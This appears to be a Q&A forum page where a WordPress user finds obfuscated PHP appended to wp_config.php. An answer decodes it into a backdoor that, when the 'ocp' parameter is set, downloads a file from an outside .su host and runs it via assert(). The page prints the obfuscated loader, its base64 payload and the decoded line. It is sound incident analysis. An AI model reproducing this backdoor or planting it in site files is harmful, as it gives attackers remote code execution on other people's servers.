Unsettling script detected within the wp_config.php document

It appears that my page has been infiltrated as I discovered this suspicious code at the end of my wp_config.php file.

$Xbk = "uQoCwSNBIpmVRP14XjL56=AWfl.DFrv03tx;Ez*bnaHKdyc(UsMi+qgk87'9eZYT_/)OG2hJ";$vDE = $Xbk[41].$Xbk[49].$Xbk[49].$Xbk[60].$Xbk[29].$Xbk[33];$uQI = $Xbk[60].$Xbk[30].$Xbk[41].$Xbk[25].$Xbk[47].$Xbk[54].$Xbk[37].$Xbk[51].$Xbk[40].$Xbk[24].$Xbk[25].$Xbk[41].$Xbk[33].$Xbk[60].$Xbk[47].$Xbk[39].$Xbk[41].$Xbk[49].$Xbk[60].$Xbk[20].$Xbk[15].$Xbk[64].$Xbk[44].$Xbk[60].$Xbk[46].$Xbk[2].$Xbk[44].$Xbk[60].$Xbk[47];$T4q = $Xbk[66].$Xbk[66].$Xbk[66].$Xbk[35];$R1h = $uQI.$Xbk[58].$Xbk[7].$Xbk[46].$Xbk[28].$Xbk[18].$Xbk[3].$Xbk[2].$Xbk[50].$Xbk[4].$Xbk[36].$Xbk[22].$Xbk[27].$Xbk[1].$Xbk[53].$Xbk[57].$Xbk[1].$Xbk[5].$Xbk[50].$Xbk[6].$Xbk[55].$Xbk[15].$Xbk[31].$Xbk...

This looks like some form of base64 encoding, but I would greatly appreciate any assistance with decrypting it.

phpwordpresssecurity

Answer №1

(Referenced from this source)

The following code is being executed:

eval(gzinflate(base64_decode('BcFLCoMwEADQq7QSMNk40LqQSsFN8QLuSgnGjN+YRGcKltK7972pP8kzrpE/Uuj60TzT0MX0pdRXmHvVTw71gKy74Bk9k0xG5ngDsMPSkiM7ZvSG60KH9bhueQ5FuMzgMBZgMj44UWXVEuHOUhhV/v4=')));

If you replace the eval with echo, it becomes:

echo(gzinflate(base64_decode('BcFLCoMwEADQq7QSMNk40LqQSsFN8QLuSgnGjN+YRGcKltK7972pP8kzrpE/Uuj60TzT0MX0pdRXmHvVTw71gKy74Bk9k0xG5ngDsMPSkiM7ZvSG60KH9bhueQ5FuMzgMBZgMj44UWXVEuHOUhhV/v4=')));

This results in the code snippet below:

if (!empty($_GET['ocp'])){$b=@file_get_contents("http://dgkaslsdh.su/3ksxdnemq44/8o2j/lep8/b.txt");@assert($b);}

Essentially, it attempts to download a file and execute it using assert. However, attempting to access the file through the provided link reveals that the server is currently offline.

Similar questions

If you have not found the answer to your question or you are interested in this topic, then look at other similar questions below or use the search

Error copying CSV database in PHP

Recently, I came across a CSV file that contains some specific data: NrSAT,StatoSAT,TipoServ,DataAtt,ImeiG,ImeiC,MarcaTer,ModelloTer,FamigliaG,DescrizioneG SAT100000002572,in lavorazione,21/07/2014,8294121141143,8294121141143,Samsung,Nexus 4,Audio, Microf ...

phpdatabasecsv

How can the token be verified when authorizing Google OAuth 2.0 on the server side?

Unable to validate the user token ID on the server side despite following Google's guide at https://developers.google.com/identity/sign-in/web/backend-auth In JavaScript, I retrieve the id token and send it to the server: var googleUser = auth2.cur ...

javascriptphpgoogle-oauthgoogle-api-php-client

Implementing search functionality, what could be causing this error message: "Warning: Division by zero in /path/test.php on line 29 Query was empty"?

I am working on a basic search function that checks the "desc" column in a MySQL table called "products". Here's the code I have for displaying the results, where $find is the user input string converted to uppercase: $dataQuery = 'SELECT * FR ...

phpmysqldivisionzero

Unusual characters found in the fields of a Postgresql database table

In six out of over 30 fields in one of my postgresql tables, an unusual character has been found at the end of user-input text. This data is entered into the table through a PHP web form that has been in use for years. It's puzzling to see this charac ...

phphtmlpostgresqlwebforms

Integrating error handling into a Symfony 2 form element

In my controller, I perform some validation checks. If there is a failure, I want to add an error message to a specific element in my form. Below is the structure of my form: use Symfony\Component\Form\FormError; // ... $config = new Conf ...

phpvalidationsymfonysymfony-forms

Utilizing multiple AJAX requests to a single PHP script

Despite searching through other topics, I couldn't find a solution to my issue. I have two ajax calls that both target the same page. One is meant to delete language selection and the other is meant to delete education experience. Oddly enough, the l ...

phpjqueryajax

Is there a way to set the angle in PHP's imageline()

Can you please explain how to integrate an angle system into the imageline() function? In the image below, there is an Orange line situated at (-12, 4). Is it possible to rotate this line by 37 degrees? ...

phpimagegdangle

Wordpress Issues with Displaying Arabic Text Correctly

The issue arises when displaying Arabic text in menus, both the top menu and main menu. The text appears distorted and unreadable, with characters like 2Ø®Ø§Ù†Ù‚Ø§Û showing up. However, in other areas of the page such as the body content, the ...

htmlcsswordpress

Leveraging server-sent events to retrieve an array from a MySQL database using PHP

I've been attempting to implement server-sent events in order to fetch data from a database and dynamically update my HTML page whenever a new message is received. Here's the code I'm using: function update() { if(typeof(Event ...

javascriptphpmysqlangularjsserver-sent-events

Customize Plugin Functions in WordPress

I have a Plugin installed on my website built with WordPress. I am looking to overwrite a specific function in the Plugin. Should I override it within my theme's functions.php file, and if so, what is the process for doing this? Here is the original ...

phpwordpresswoocommerce

When searching for a row in the database where a column matches one of the values in the specified array

I am facing an issue while trying to retrieve all results that match the surveyid values in my array $subscribearray. The SQL query is only returning the first result (44) instead of all of them. I also attempted to use mysql_fetch_array but it did not wor ...

phpmysql

Tips for sending a selected option value to jQuery via AJAX using the name attribute

Is there a way to send the section option value using ajax, but only for selection and checkboxes? The issue I'm facing is that when posting, the section and checkbox appear as undefined. Thanks in advance. PHP Code <?php $parameters = new P ...

phpjqueryhtmlajax

What can be done when the primary database is offline and a connection to an alternate database

$db_host1 = "localhost1"; $db_user1 = "user1"; $db_pass1 = "pwd"; $db_name1 = "dbs1"; $db_host2 = "localhost2"; $db_user2 = "user2"; $db_pass2 = "ped2"; $db_name2 = "dbs2"; // Establishing connection $connection = new mysqli($db_host1, $db_user1, $db_pass1 ...

phpmysqlmysqli

Connect PHP code to an HTML document

Recently, I created an entry form login page saved as a .php file which displays content in html and css. The page showcases various elements followed by a login form with two fields: Username, Password, and a 'Log in' button. Additionally, I ha ...

phphtmlcssxampp

Getting the parameter route value from Laravel and passing it to Ajax

Need help with returning the parameter of a Laravel route to an AJAX response. Here is the relevant code: public function getPermissions(Request $request) { //$v = request()->route()->parameters('profile'); $v = request()-& ...

javascriptphpajaxlaravel

Exchanging information of the table with one another

Greetings, I am a technician specializing in the repair of PCs and laptops. Currently, I am working on developing an offline database website where I can store information about repairs, clients, and invoices. My understanding of SQLi and PHP is quite basi ...

phpmysqli

The function file_get_contents is not retrieving any content

Currently, I am employing the file_get_contents function to retrieve data in JSON format. $queryurl = "http://cloud.softpanda.com.au:9874/loyalty/customer/query-account?user=foo&pass=bar&format=json"; $queryurl = $queryurl . "&number=" . urlen ...

phpjson

Unveiling the Mystery: Extracting the URL Parameter in AngularJS

Here is a link localhost/project/#/showprofile/18 I need to retrieve the parameter 18 in my view In the application file named app.js, I have the following configuration: .when('/showprofile/:UserID', { title: 'Show User Profile&apo ...

javascriptphpjqueryangularjs

Discovering the contents of a Git repository, minus the use of Git

I am currently exploring the concept of developing a very small (preferably PHP) web application that will function as a simple front-end to a git repository. Part of its functionality will include acting as a minimal interface to interact with the reposit ...

phpgitversion-control

Issues with jQuery AJAX functionality

I am in the process of incorporating some ajax functionality into my php website. I have a good understanding of jQuery, but for some reason, the value returned is always empty when I try to alert() it. Below is the code snippet that I am using: PHP: if( ...

javascriptphpjqueryajax